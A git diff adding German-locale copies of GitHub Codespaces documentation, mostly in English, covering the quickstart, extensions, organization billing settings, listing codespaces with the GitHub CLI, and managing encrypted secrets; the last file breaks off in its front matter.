+If you're working with an existing repository, you can create a codespace from any branch, commit, or pull request in the repository, or you can switch to a new or existing branch from within your active codespace. Because {% data variables.product.prodname_github_codespaces %} is designed to be ephemeral, you can use it as an isolated environment to experiment, check a teammate's pull request, or fix merge conflicts.
+
+If you're working in a codespace created from a template, Git will be installed by default, but you will need to publish your codespace to a remote repository to persist your work and to share it with others. If you start from {% data variables.product.company_short %}'s blank template, you will first need to initialize your workspace as a Git repository (for example by entering `git init`) to start using source control within the codespace.
+
+For more information, see "[Using source control in your codespace](/codespaces/developing-in-codespaces/using-source-control-in-your-codespace)."
+
+{% note %}
+
+**Note:** Commits from your codespace will be attributed to the name and public email configured at https://github.com/settings/profile. A token scoped to the repository, included in the environment as `GITHUB_TOKEN`, and your GitHub credentials will be used to authenticate.
+
+{% endnote %}
+
+## Personalizing your codespace with extensions or plugins
+
+You can add plugins and extensions within a codespace to personalize your experience in JetBrains and {% data variables.product.prodname_vscode_shortname %} respectively.
+
+### {% data variables.product.prodname_vscode_shortname %} extensions
+
+If you work on your codespaces in the {% data variables.product.prodname_vscode_shortname %} desktop application, or the web client, you can add any extensions you need from the {% data variables.product.prodname_vscode_marketplace %}. For information on how extensions run in {% data variables.product.prodname_github_codespaces %}, see [Supporting Remote Development and {% data variables.product.prodname_github_codespaces %}](https://code.visualstudio.com/api/advanced-topics/remote-extensions) in the {% data variables.product.prodname_vscode_shortname %} documentation. 
+
+If you already use {% data variables.product.prodname_vscode_shortname %}, you can use [Settings Sync](https://code.visualstudio.com/docs/editor/settings-sync) to automatically sync extensions, settings, themes, and keyboard shortcuts between your local instance and any codespaces you create.
+
+### JetBrains plugins
+
+If you work on your codespaces in a JetBrains IDE, you can add plugins from the JetBrains Marketplace.
+
+1. Click **JetBrains Client**, then click **Preferences**.
+1. In the Preferences dialog box, click either **Plugins On Host** to install a plugin in the full JetBrains IDE that's running remotely, or **Plugins** to install a plugin on the local client, for example to change the user interface theme. 
+1. Click the **Marketplace** tab.
+
+   ![Screenshot of the Marketplace tab for 'Plugins On Host'](/assets/images/help/codespaces/jetbrains-preferences-plugins.png)
+
+1. Click **Install** beside the required plugin.
+
+## Further reading
+
+- "[Enabling {% data variables.product.prodname_github_codespaces %} for your organization](/codespaces/managing-codespaces-for-your-organization/enabling-github-codespaces-for-your-organization)"
+- "[Managing the cost of {% data variables.product.prodname_github_codespaces %} in your organization](/codespaces/managing-codespaces-for-your-organization/managing-the-cost-of-github-codespaces-in-your-organization)"
+- "[Add a dev container configuration to your repository](/codespaces/setting-up-your-project-for-codespaces/setting-up-your-project-for-codespaces)"
+- "[The codespace lifecycle](/codespaces/developing-in-codespaces/the-codespace-lifecycle)"
diff --git a/translations/de-DE/content/codespaces/getting-started/index.md b/translations/de-DE/content/codespaces/getting-started/index.md
new file mode 100644
index 0000000000..0773c5fa05
--- /dev/null
+++ b/translations/de-DE/content/codespaces/getting-started/index.md
@@ -0,0 +1,18 @@
+---
+title: 'Erste Schritte mit {% data variables.product.prodname_github_codespaces %}'
+shortTitle: Getting started
+intro: 'Erfahre, wie du mit {% data variables.product.prodname_github_codespaces %} loslegen kannst, einschließlich Einrichtung und Konfiguration für bestimmte Sprachen.'
+versions:
+  fpt: '*'
+  ghec: '*'
+children:
+  - /quickstart
+  - /deep-dive
+ms.openlocfilehash: e0a845403562bbe046b81e52893a9ff59a1fbf1c
+ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 11/09/2022
+ms.locfileid: '148160254'
+---
+
diff --git a/translations/de-DE/content/codespaces/getting-started/quickstart.md b/translations/de-DE/content/codespaces/getting-started/quickstart.md
new file mode 100644
index 0000000000..c432de015c
--- /dev/null
+++ b/translations/de-DE/content/codespaces/getting-started/quickstart.md
@@ -0,0 +1,113 @@
+---
+title: 'Quickstart for {% data variables.product.prodname_github_codespaces %}'
+shortTitle: 'Quickstart for {% data variables.product.prodname_codespaces %}'
+intro: 'Try out {% data variables.product.prodname_github_codespaces %} in 5 minutes.'
+allowTitleToDifferFromFilename: true
+versions:
+  fpt: '*'
+  ghec: '*'
+type: quick_start
+topics:
+  - Codespaces
+redirect_from:
+  - /codespaces/codespaces-quickstart
+---
+
+## Introduction
+
+In this guide, you'll create a codespace from a template repository and explore some of the essential features available to you within the codespace. You'll work in the browser version of {% data variables.product.prodname_vscode %}, which is initially the default editor for {% data variables.product.prodname_github_codespaces %}. After trying out this quickstart you can use {% data variables.product.prodname_codespaces %} in other editors, and you can change the default editor. Links are provided at the end of this guide.
+
+From this quickstart, you'll learn how to create a codespace, connect to a forwarded port to view your running application, publish your codespace to a new repository, and personalize your setup with extensions.
+
+For more information on exactly how {% data variables.product.prodname_github_codespaces %} works, see the companion guide "[Deep dive into {% data variables.product.prodname_github_codespaces %}](/codespaces/getting-started/deep-dive)."
+
+## Creating your codespace
+
+1. Navigate to the [github/haikus-for-codespaces](https://github.com/github/haikus-for-codespaces) template repository.
+{% data reusables.codespaces.open-template-in-codespace-step %}
+
+## Running the application
+
+Once your codespace is created, the template repository will be automatically cloned into it. Now you can run the application and launch it in a browser.
+
+1. When the terminal becomes available, enter the command `npm run dev`. This example uses a Node.js project, and this command runs the script labeled "dev" in the `package.json` file, which starts up the web application defined in the sample repository.
+   
+   ![npm run dev in terminal](/assets/images/help/codespaces/codespaces-npm-run-dev.png)
+
+   If you're following along with a different application type, enter the corresponding start command for that project.
+
+2. When your application starts, the codespace recognizes the port the application is running on and displays a prompt to let you know it has been forwarded. 
+
+   ![Port forwarding "toast" notification](/assets/images/help/codespaces/quickstart-port-toast.png)
+
+3. Click **Open in Browser** to view your running application in a new tab.
+
+## Edit the application and view changes
+
+1. Switch back to your codespace and open the `haikus.json` file by clicking it in the Explorer.
+
+2. Edit the `text` field of the first haiku to personalize the application with your own haiku.
+
+3. Go back to the running application tab in your browser and refresh to see your changes.
+   
+   {% octicon "light-bulb" aria-label="The lightbulb icon" %} If you've closed the tab, open the Ports panel and click the **Open in browser** icon for the running port.
+
+   ![Port Forwarding Panel](/assets/images/help/codespaces/quickstart-forward-port.png)
+
+## Committing and pushing your changes
+
+Now that you've made a few changes, you can use the integrated terminal or the source view to publish your work to a new repository.
+
+{% data reusables.codespaces.source-control-display-dark %}
+1. To stage your changes, click  **+** next to the `haikus.json` file, or next to **Changes** if you've changed multiple files and you want to stage them all.
+
+   ![Source control side bar with staging button highlighted](/assets/images/help/codespaces/codespaces-commit-stage.png)
+
+2. To commit your staged changes, type a commit message describing the change you've made, then click **Commit**.
+
+   ![Source control side bar with a commit message](/assets/images/help/codespaces/vscode-commit-button.png)
+
+3. Click **Publish Branch**.
+   
+   ![Screenshot of the "Publish branch" button in VS Code](/assets/images/help/codespaces/vscode-publish-branch-button.png)
+
+4. In the "Repository Name" dropdown, type a name for your new repository, then select **Publish to {% data variables.product.company_short %} private repository** or **Publish to {% data variables.product.company_short %} public repository**.
+   
+   ![Screenshot of the "Repository Name" dropdown in VS Code](/assets/images/help/codespaces/choose-new-repository.png)
+
+   The owner of the new repository will be the {% data variables.product.prodname_dotcom %} account with which you created the codespace.
+5. In the pop-up that appears in the lower right corner of the editor, click **Open on {% data variables.product.company_short %}** to view the new repository on {% data variables.product.prodname_dotcom_the_website %}. In the new repository, view the `haikus.json` file and check that the change you made in your codespace has been successfully pushed to the repository.
+   
+   ![Screenshot of the "Open in GitHub" pop-up in VS Code](/assets/images/help/codespaces/open-on-github.png)
+
+## Personalizing with an extension
+
+When you connect to a codespace using the browser, or the {% data variables.product.prodname_vscode %} desktop application, you can access the Visual Studio Code Marketplace directly from the editor. For this example, you'll install a {% data variables.product.prodname_vscode_shortname %} extension that alters the theme, but you can install any extension that's useful for your workflow.
+
+1. In the left sidebar, click the Extensions icon.
+1. In the search bar, type `fairyfloss` and click **Install**.
+
+   ![Add an extension](/assets/images/help/codespaces/add-extension.png)
+
+1. Select the `fairyfloss` theme by selecting it from the list.
+
+   ![Select the fairyfloss theme](/assets/images/help/codespaces/fairyfloss.png)
+
+If you are using a codespace in the browser, or in the {% data variables.product.prodname_vscode %} desktop application, and you have [Settings Sync](https://code.visualstudio.com/docs/editor/settings-sync) turned on, any changes you make to your editor setup in the current codespace, such as changing your theme or keyboard bindings, are automatically synced to any instances of {% data variables.product.prodname_vscode %} that are signed into your {% data variables.product.prodname_dotcom %} account and to any other codespaces you create.
+
+## Next steps
+
+You've successfully created, personalized, and run your first application within a codespace but there's so much more to explore! Here are some helpful resources for taking your next steps with {% data variables.product.prodname_github_codespaces %}.
+
+* "[Deep dive](/codespaces/getting-started/deep-dive)": This quickstart presented some of the features of {% data variables.product.prodname_github_codespaces %}. The deep dive looks at these areas from a technical standpoint.
+* "[Add a dev container configuration to your repository](/codespaces/setting-up-your-project-for-codespaces/setting-up-your-project-for-codespaces)": These guides provide information on setting up your repository to use {% data variables.product.prodname_github_codespaces %} with specific languages.
+* "[Introduction to dev containers](/codespaces/setting-up-your-project-for-codespaces/introduction-to-dev-containers)": This guide provides details on creating a custom configuration for {% data variables.product.prodname_codespaces %} for your project.
+
+## Further reading
+
+* "[Enabling {% data variables.product.prodname_github_codespaces %} for your organization](/codespaces/managing-codespaces-for-your-organization/enabling-github-codespaces-for-your-organization)"
+* "[Using {% data variables.product.prodname_github_codespaces %} in {% data variables.product.prodname_vscode %}](/codespaces/developing-in-codespaces/using-github-codespaces-in-visual-studio-code)"
+* "[Using {% data variables.product.prodname_github_codespaces %} in your JetBrains IDE](/codespaces/developing-in-codespaces/using-github-codespaces-in-your-jetbrains-ide)"
+* "[Using {% data variables.product.prodname_github_codespaces %} with {% data variables.product.prodname_cli %}](/codespaces/developing-in-codespaces/using-github-codespaces-with-github-cli)"
+* "[Setting your default editor for {% data variables.product.prodname_github_codespaces %}](/codespaces/customizing-your-codespace/setting-your-default-editor-for-github-codespaces)."
+* "[Managing the cost of {% data variables.product.prodname_github_codespaces %} in your organization](/codespaces/managing-codespaces-for-your-organization/managing-the-cost-of-github-codespaces-in-your-organization)"
diff --git a/translations/de-DE/content/codespaces/guides.md b/translations/de-DE/content/codespaces/guides.md
new file mode 100644
index 0000000000..d57627c6a6
--- /dev/null
+++ b/translations/de-DE/content/codespaces/guides.md
@@ -0,0 +1,66 @@
+---
+title: Codespaces-Leitfäden
+shortTitle: Guides
+intro: 'Erfahre, wie du GitHub optimal nutzen kannst'
+allowTitleToDifferFromFilename: true
+layout: product-guides
+versions:
+  fpt: '*'
+  ghec: '*'
+includeGuides:
+  - /codespaces/getting-started/quickstart
+  - /codespaces/getting-started/deep-dive
+  - /codespaces/setting-up-your-project-for-codespaces/setting-up-your-nodejs-project-for-codespaces
+  - /codespaces/setting-up-your-project-for-codespaces/setting-up-your-python-project-for-codespaces
+  - /codespaces/setting-up-your-project-for-codespaces/setting-up-your-dotnet-project-for-codespaces
+  - /codespaces/setting-up-your-project-for-codespaces/setting-up-your-java-project-for-codespaces
+  - /codespaces/setting-up-your-project-for-codespaces/setting-a-minimum-specification-for-codespace-machines
+  - /codespaces/setting-up-your-project-for-codespaces/automatically-opening-files-in-the-codespaces-for-a-repository
+  - /codespaces/setting-up-your-project-for-codespaces/adding-a-codespaces-badge
+  - /codespaces/setting-up-your-project-for-codespaces/introduction-to-dev-containers
+  - /codespaces/setting-up-your-codespace/personalizing-codespaces-for-your-account
+  - /codespaces/developing-in-codespaces/creating-a-codespace-for-a-repository
+  - /codespaces/developing-in-codespaces/creating-a-codespace-from-a-template
+  - /codespaces/developing-in-codespaces/developing-in-a-codespace
+  - /codespaces/developing-in-codespaces/deleting-a-codespace
+  - /codespaces/developing-in-codespaces/forwarding-ports-in-your-codespace
+  - /codespaces/developing-in-codespaces/opening-an-existing-codespace
+  - /codespaces/developing-in-codespaces/stopping-and-starting-a-codespace
+  - /codespaces/developing-in-codespaces/using-github-codespaces-in-visual-studio-code
+  - /codespaces/developing-in-codespaces/using-github-codespaces-in-your-jetbrains-ide
+  - /codespaces/developing-in-codespaces/using-github-codespaces-with-github-cli
+  - /codespaces/developing-in-codespaces/using-source-control-in-your-codespace
+  - /codespaces/developing-in-codespaces/using-codespaces-for-pull-requests
+  - /codespaces/developing-in-codespaces/changing-the-machine-type-for-your-codespace
+  - /codespaces/customizing-your-codespace/changing-the-machine-type-for-your-codespace
+  - /codespaces/customizing-your-codespace/configuring-automatic-deletion-of-your-codespaces
+  - /codespaces/customizing-your-codespace/personalizing-codespaces-for-your-account
+  - /codespaces/customizing-your-codespace/setting-your-default-editor-for-codespaces
+  - /codespaces/customizing-your-codespace/setting-your-default-region-for-codespaces
+  - /codespaces/customizing-your-codespace/setting-your-timeout-period-for-codespaces
+  - /codespaces/managing-your-codespaces/managing-encrypted-secrets-for-your-codespaces
+  - /codespaces/managing-your-codespaces/managing-repository-access-for-your-codespaces
+  - /codespaces/managing-your-codespaces/managing-gpg-verification-for-codespaces
+  - /codespaces/managing-your-codespaces/setting-your-default-editor-for-codespaces
+  - /codespaces/managing-your-codespaces/setting-your-default-region-for-codespaces
+  - /codespaces/managing-codespaces-for-your-organization/enabling-codespaces-for-your-organization
+  - /codespaces/managing-codespaces-for-your-organization/managing-billing-for-codespaces-in-your-organization
+  - /codespaces/managing-codespaces-for-your-organization/managing-encrypted-secrets-for-your-repository-and-organization-for-codespaces
+  - /codespaces/managing-codespaces-for-your-organization/restricting-access-to-machine-types
+  - /codespaces/managing-codespaces-for-your-organization/restricting-the-base-image-for-codespaces.md
+  - /codespaces/managing-codespaces-for-your-organization/restricting-the-idle-timeout-period
+  - /codespaces/managing-codespaces-for-your-organization/restricting-the-retention-period-for-codespaces
+  - /codespaces/managing-codespaces-for-your-organization/restricting-the-visibility-of-forwarded-ports
+  - /codespaces/managing-codespaces-for-your-organization/reviewing-your-organizations-audit-logs-for-codespaces
+  - /codespaces/codespaces-reference/understanding-billing-for-codespaces
+  - /codespaces/codespaces-reference/using-the-command-palette-in-codespaces
+  - /codespaces/codespaces-reference/disaster-recovery-for-codespaces
+  - /codespaces/codespaces-reference/security-in-codespaces
+ms.openlocfilehash: e11e89910b01bc3656cfc2982f13d48f99ee72b6
+ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 11/09/2022
+ms.locfileid: '148159189'
+---
+
diff --git a/translations/de-DE/content/codespaces/index.md b/translations/de-DE/content/codespaces/index.md
new file mode 100644
index 0000000000..fb62a3b338
--- /dev/null
+++ b/translations/de-DE/content/codespaces/index.md
@@ -0,0 +1,63 @@
+---
+title: Dokumentation zu GitHub Codespaces
+shortTitle: GitHub Codespaces
+intro: 'Erstelle einen Codespace, um mit der Entwicklung in einer sicheren, konfigurierbaren und dedizierten Entwicklungsumgebung zu beginnen, die wie und wo du es möchtest einsetzbar ist.'
+introLinks:
+  overview: /codespaces/overview
+  quickstart: /codespaces/getting-started/quickstart
+featuredLinks:
+  guides:
+    - /codespaces/managing-codespaces-for-your-organization/enabling-codespaces-for-your-organization
+    - /codespaces/developing-in-codespaces/the-codespace-lifecycle
+    - /codespaces/setting-up-your-codespace/configuring-codespaces-for-your-project
+    - /codespaces/managing-your-codespaces/managing-repository-access-for-your-codespaces
+    - /billing/managing-billing-for-github-codespaces/about-billing-for-codespaces
+  guideCards:
+    - /codespaces/getting-started/deep-dive
+    - /codespaces/developing-in-codespaces/creating-a-codespace-for-a-repository
+    - /codespaces/developing-in-codespaces/creating-a-codespace-from-a-template
+    - /codespaces/developing-in-codespaces/opening-an-existing-codespace
+    - /codespaces/setting-up-your-codespace/personalizing-codespaces-for-your-account
+    - /codespaces/developing-in-codespaces/using-github-codespaces-in-visual-studio-code
+    - /codespaces/developing-in-codespaces/using-github-codespaces-in-your-jetbrains-ide
+  popular:
+    - /codespaces/getting-started-with-codespaces/getting-started-with-your-nodejs-project-in-codespaces
+    - /codespaces/getting-started-with-codespaces/getting-started-with-your-python-project-in-codespaces
+    - /codespaces/getting-started-with-codespaces/getting-started-with-your-java-project-in-codespaces
+    - /codespaces/getting-started-with-codespaces/getting-started-with-your-dotnet-project
+  popularHeading: Set up your project
+changelog:
+  label: codespaces
+product_video: 'https://www.youtube-nocookie.com/embed/_W9B7qc9lVc'
+communityRedirect:
+  name: Provide GitHub Feedback
+  href: 'https://github.com/orgs/community/discussions/categories/codespaces'
+redirect_from:
+  - /github/developing-online-with-github-codespaces
+  - /github/developing-online-with-codespaces
+layout: product-landing
+examples_source: data/product-examples/codespaces/code-examples.yml
+versions:
+  fpt: '*'
+  ghec: '*'
+children:
+  - /overview
+  - /getting-started
+  - /developing-in-codespaces
+  - /setting-up-your-project-for-codespaces
+  - /customizing-your-codespace
+  - /prebuilding-your-codespaces
+  - /managing-your-codespaces
+  - /managing-codespaces-for-your-organization
+  - /codespaces-reference
+  - /troubleshooting
+  - /the-githubdev-web-based-editor
+  - /guides
+ms.openlocfilehash: 62723c1d4bf684e67420149c96586a91e7583031
+ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 11/09/2022
+ms.locfileid: '148160434'
+---
+
diff --git a/translations/de-DE/content/codespaces/managing-codespaces-for-your-organization/enabling-github-codespaces-for-your-organization.md b/translations/de-DE/content/codespaces/managing-codespaces-for-your-organization/enabling-github-codespaces-for-your-organization.md
new file mode 100644
index 0000000000..914857fdef
--- /dev/null
+++ b/translations/de-DE/content/codespaces/managing-codespaces-for-your-organization/enabling-github-codespaces-for-your-organization.md
@@ -0,0 +1,83 @@
+---
+title: Enabling GitHub Codespaces for your organization
+shortTitle: 'Enable {% data variables.product.prodname_codespaces %}'
+intro: "You can control which users in your organization can use {% data variables.product.prodname_github_codespaces %} at the organization's expense."
+permissions: "To alter an organization's billing settings, you must be an organization owner."
+redirect_from:
+  - /codespaces/managing-codespaces-for-your-organization/managing-user-permissions-for-your-organization
+  - /codespaces/managing-codespaces-for-your-organization/enabling-codespaces-for-your-organization
+versions:
+  fpt: '*'
+  ghec: '*'
+type: how_to
+topics:
+  - Codespaces
+  - Billing
+  - Administrator
+---
+
+## About enabling {% data variables.product.prodname_github_codespaces %} for your organization
+
+Organization owners can control which users in your organization can create and use codespaces at the organization's expense. For information about pricing, see "[About billing for {% data variables.product.prodname_github_codespaces %}](/billing/managing-billing-for-github-codespaces/about-billing-for-github-codespaces)."
+
+Only people who can either push changes to a repository, or fork the repository, can create a codespace for that repository. To allow people to create codespaces for repositories owned by your organization, you must:
+
+- Ensure that users have at least write access to the repositories where they want to use a codespace. For more information, see "[Managing teams and people with access to your repository](/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/managing-teams-and-people-with-access-to-your-repository)."
+- Ensure that your organization does not have an IP address allow list enabled. For more information, see "[Managing allowed IP addresses for your organization](/{% ifversion fpt %}enterprise-cloud@latest/{% endif %}organizations/keeping-your-organization-secure/managing-allowed-ip-addresses-for-your-organization){% ifversion fpt %}" in the {% data variables.product.prodname_ghe_cloud %} documentation.{% else %}."{% endif %}
+
+To allow people to create codespaces for which your organization will be billed, you must:
+
+- [Set a spending limit](/billing/managing-billing-for-github-codespaces/managing-spending-limits-for-codespaces)
+- [Choose who can create codespaces that are billed to your organization](#choose-who-can-create-codespaces-that-are-billed-to-your-organization)
+
+{% ifversion fpt %}
+{% note %}
+
+**Note:** If you are a verified educator or a teacher, you must enable {% data variables.product.prodname_github_codespaces %} from a {% data variables.product.prodname_classroom %} to use your {% data variables.product.prodname_codespaces %} Education benefit. For more information, see "[Using {% data variables.product.prodname_github_codespaces %} with {% data variables.product.prodname_classroom %}](/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-ide/using-github-codespaces-with-github-classroom#about-the-codespaces-education-benefit-for-verified-teachers)."
+
+{% endnote %}
+{% endif %}
+
+By default, a codespace can only access the repository from which it was created. If you want codespaces in your organization to be able to access other organization repositories that the codespace creator can access, see "[Managing repository access for your organization's codespaces](/codespaces/managing-codespaces-for-your-organization/managing-repository-access-for-your-organizations-codespaces)."
+
+## Choose who can create codespaces that are billed to your organization
+
+{% data reusables.profile.access_org %}
+{% data reusables.profile.org_settings %}
+{% data reusables.organizations.click-codespaces %}
+1. Under "Billing," select one of the following options:
+
+   * **Disabled** - Your organization will not be charged for codespace usage. {% data variables.product.prodname_codespaces %} created for your organization's repositories will be billed to the individual users who create them.
+   * **Selected members** - {% data variables.product.prodname_codespaces %} created for your organization's repositories by selected members will be billed to the organization.
+   * **All members** - {% data variables.product.prodname_codespaces %} created for your organization's repositories by members of your organization will be billed to the organization.
+   * **All members and outside collaborators** - {% data variables.product.prodname_codespaces %} created for your organization's repositories by organization members and outside collaborators will be billed to the organization.
+
+   ![Radio buttons for "Billing"](/assets/images/help/codespaces/codespaces-org-billing-settings.png)
+
+   {% note %}
+
+   **Note:** When you select **All members and outside collaborators**,  all outside collaborators who have been added to specific repositories can create and use {% data variables.product.prodname_codespaces %} for those repositories, and your organization will be billed for this usage. For more information on managing outside collaborators, see "[About outside collaborators](/organizations/managing-access-to-your-organizations-repositories/adding-outside-collaborators-to-repositories-in-your-organization#about-outside-collaborators)."
+
+   {% endnote %}
+
+1. Click **Save**.
+1. If you chose **Selected members**, an input box is displayed for you to enter the names of users you want to select.
+
+   ![Input box for selecting users](/assets/images/help/codespaces/codespaces-org-billing-add-users.png)
+
+## Disabling {% data variables.product.prodname_codespaces %} for your organization
+
+You can prevent the creation and use of codespaces billable to your organization.
+
+{% data reusables.codespaces.codespaces-disabling-org-billing %}
+
+{% data reusables.profile.access_org %}
+{% data reusables.profile.org_settings %}
+{% data reusables.organizations.click-codespaces %}
+1. Under "Billing," select **Disabled**.
+
+## Setting a spending limit
+
+{% data reusables.codespaces.codespaces-spending-limit-requirement %} 
+
+For information on managing and changing your account's spending limit, see "[Managing your spending limit for {% data variables.product.prodname_codespaces %}](/billing/managing-billing-for-github-codespaces/managing-spending-limits-for-codespaces)."
diff --git a/translations/de-DE/content/codespaces/managing-codespaces-for-your-organization/index.md b/translations/de-DE/content/codespaces/managing-codespaces-for-your-organization/index.md
new file mode 100644
index 0000000000..05bf754d62
--- /dev/null
+++ b/translations/de-DE/content/codespaces/managing-codespaces-for-your-organization/index.md
@@ -0,0 +1,24 @@
+---
+title: Managing GitHub Codespaces for your organization
+allowTitleToDifferFromFilename: true
+shortTitle: Managing your organization
+intro: 'You can manage and review how users in your organization can use  {% data variables.product.prodname_github_codespaces %}.'
+versions:
+  fpt: '*'
+  ghec: '*'
+topics:
+  - Codespaces
+children:
+  - /enabling-github-codespaces-for-your-organization
+  - /listing-the-codespaces-in-your-organization
+  - /managing-the-cost-of-github-codespaces-in-your-organization
+  - /managing-encrypted-secrets-for-your-repository-and-organization-for-github-codespaces
+  - /managing-repository-access-for-your-organizations-codespaces
+  - /reviewing-your-organizations-audit-logs-for-github-codespaces
+  - /restricting-access-to-machine-types
+  - /restricting-the-base-image-for-codespaces
+  - /restricting-the-visibility-of-forwarded-ports
+  - /restricting-the-idle-timeout-period
+  - /restricting-the-retention-period-for-codespaces
+---
+ 
diff --git a/translations/de-DE/content/codespaces/managing-codespaces-for-your-organization/listing-the-codespaces-in-your-organization.md b/translations/de-DE/content/codespaces/managing-codespaces-for-your-organization/listing-the-codespaces-in-your-organization.md
new file mode 100644
index 0000000000..10e2e88b4e
--- /dev/null
+++ b/translations/de-DE/content/codespaces/managing-codespaces-for-your-organization/listing-the-codespaces-in-your-organization.md
@@ -0,0 +1,53 @@
+---
+title: Listing the codespaces in your organization
+shortTitle: List organization codespaces
+intro: 'You can list all of the currently active or stopped codespaces for your organization.'
+permissions: 'To list all of the current codespaces for your organization, you must be an organization owner.'
+versions:
+  fpt: '*'
+  ghec: '*'
+type: how_to
+topics:
+  - Codespaces
+  - Administrator
+---
+
+## Overview
+
+As an organization owner, you can list all of the currently active and stopped codespaces for your organization. You might want to do this to check how many codespaces users are creating, to make sure they aren't incurring unnecessary costs. For information about pricing, see "[About billing for {% data variables.product.prodname_github_codespaces %}](/billing/managing-billing-for-github-codespaces/about-billing-for-github-codespaces)."
+
+The easiest way to list the codespaces for an organization is by using {% data variables.product.prodname_cli %}. You can also use the REST API, which provides more information about each codespace.
+
+For information on how to see the current total {% data variables.product.prodname_codespaces %} usage for your organization or enterprise, and generate a detailed report, see "[Viewing your {% data variables.product.prodname_github_codespaces %} usage](/billing/managing-billing-for-github-codespaces/viewing-your-github-codespaces-usage)."
+
+### Using {% data variables.product.prodname_cli %} to list codespaces
+
+To list all of the current codespaces for a specified organization, use the following command.
+
+```shell{:copy}
+gh codespace list --org ORGANIZATION 
+```
+
+This command returns a list that includes the following information for each codespace: 
+	- The name and display name 
+	- The user who created the codespace
+	- The repository and branch
+	- The current state of the codespace
+
+To list all of the current codespaces for an organization that were created by a specific user, use the following command.
+
+```shell{:copy}
+gh codespace list --org ORGANIZATION --user USER
+```
+
+{% note %}
+
+**Note**: In the above commands, replace `ORGANIZATION` with the name of the organization you are querying. You must be an owner of the organization.
+
+{% endnote %}
+
+### Using the REST API to list codespaces
+
+You can use the `/orgs/{org}/codespaces` API endpoint as an alternative method of listing the current codespaces for an organization. This returns more information than {% data variables.product.prodname_cli %}; for example, the machine type details.
+
+For more information about this endpoint, see "[Codespaces organizations](/rest/codespaces/organizations#list-codespaces-for-the-organization)."
diff --git a/translations/de-DE/content/codespaces/managing-codespaces-for-your-organization/managing-encrypted-secrets-for-your-repository-and-organization-for-github-codespaces.md b/translations/de-DE/content/codespaces/managing-codespaces-for-your-organization/managing-encrypted-secrets-for-your-repository-and-organization-for-github-codespaces.md
new file mode 100644
index 0000000000..43595bbc4d
--- /dev/null
+++ b/translations/de-DE/content/codespaces/managing-codespaces-for-your-organization/managing-encrypted-secrets-for-your-repository-and-organization-for-github-codespaces.md
@@ -0,0 +1,83 @@
+---
+title: Managing encrypted secrets for your repository and organization for GitHub Codespaces
+shortTitle: Encrypted secrets
+intro: 'Encrypted secrets allow you to store sensitive information in your organization, repository, or {% data variables.product.prodname_github_codespaces %}.'
+permissions: 'To manage secrets for {% data variables.product.prodname_github_codespaces %} for an organization, you must be an organization owner.'
+versions:
+  fpt: '*'
+  ghec: '*'
+topics:
+  - Codespaces
+  - Secret store
+  - Security
+redirect_from:
+  - /codespaces/managing-codespaces-for-your-organization/managing-encrypted-secrets-for-your-repository-and-organization-for-codespaces
+---
+
+ 
+
+## About secrets
+
+Secrets are encrypted environment variables that you create in an organization or  repository. The secrets that you create are available to use in {% data variables.product.prodname_github_codespaces %}. GitHub uses a [libsodium sealed box](https://libsodium.gitbook.io/doc/public-key_cryptography/sealed_boxes) to encrypt secrets before they reach GitHub and only decrypts them when you use them in a codespace.
+
+Organization-level secrets let you share secrets between multiple repositories, which reduces the need to create duplicate secrets. You can use access policies to control which repositories can use organization secrets. 
+
+{% data reusables.codespaces.secrets-on-start %}
+
+### Naming secrets
+
+{% data reusables.codespaces.secrets-naming %} For example, a secret created at the repository level must have a unique name in that repository, and a secret created at the organization level must have a unique name at that level.
+
+  {% data reusables.codespaces.secret-precedence %}
+
+### Limits for secrets
+
+You can store up to 100 secrets per organization and 100 secrets per repository.
+
+Secrets are limited to 64 KB in size.
+
+## Adding secrets for a repository
+
+To create secrets for an organization repository, you must have administrator access.
+
+{% data reusables.repositories.navigate-to-repo %}
+{% data reusables.repositories.sidebar-settings %}
+{% data reusables.codespaces.sidebar-secret %}
+
+2. At the top of the page, click **New repository secret**.
+3. Type a name for your secret in the **Name** input box.
+4. Enter the value for your secret.
+5. Click **Add secret**.
+
+## Adding secrets for an organization
+
+When creating a secret in an organization, you can use a policy to limit which repositories can access that secret. For example, you can grant access to all repositories, or limit access to only private repositories or a specified list of repositories.
+
+{% data reusables.actions.permissions-statement-secrets-organization %}
+
+{% data reusables.organizations.navigate-to-org %}
+{% data reusables.organizations.org_settings %}
+{% data reusables.codespaces.sidebar-secret %}
+
+2. At the top of the page, click **New organization secret**.
+3. Type a name for your secret in the **Name** input box.
+4. Enter the **Value** for your secret.
+5. From the **Repository access** dropdown list, choose an access policy.
+    ![Repository Access list with private repositories selected](/assets/images/help/codespaces/secret-repository-access.png)
+6. Click **Add secret**.
+
+## Reviewing access to organization-level secrets
+
+You can check which access policies are applied to a secret in your organization.
+
+{% data reusables.organizations.navigate-to-org %}
+{% data reusables.organizations.org_settings %}
+{% data reusables.codespaces.sidebar-secret %}
+
+1. The list of secrets includes any configured permissions and policies. For example:
+![Secrets list](/assets/images/help/settings/actions-org-secrets-list.png)
+1. For more details on the configured permissions for each secret, click **Update**.
+
+## Further reading
+
+- "[Managing encrypted secrets for your codespaces](/codespaces/managing-your-codespaces/managing-encrypted-secrets-for-your-codespaces)"
diff --git a/translations/de-DE/content/codespaces/managing-codespaces-for-your-organization/managing-repository-access-for-your-organizations-codespaces.md b/translations/de-DE/content/codespaces/managing-codespaces-for-your-organization/managing-repository-access-for-your-organizations-codespaces.md
new file mode 100644
index 0000000000..639cc2acac
--- /dev/null
+++ b/translations/de-DE/content/codespaces/managing-codespaces-for-your-organization/managing-repository-access-for-your-organizations-codespaces.md
@@ -0,0 +1,40 @@
+---
+title: Managing repository access for your organization's codespaces
+shortTitle: Repository access
+intro: 'You can manage the repositories in your organization that {% data variables.product.prodname_github_codespaces %} can access.'
+permissions: 'To manage access and security for {% data variables.product.prodname_github_codespaces %} for an organization, you must be an organization owner.'
+versions:
+  fpt: '*'
+  ghec: '*'
+type: how_to
+topics:
+  - Codespaces
+  - Security
+  - Administrator
+redirect_from:
+  - /codespaces/managing-codespaces-for-your-organization/managing-access-and-security-for-your-organizations-codespaces
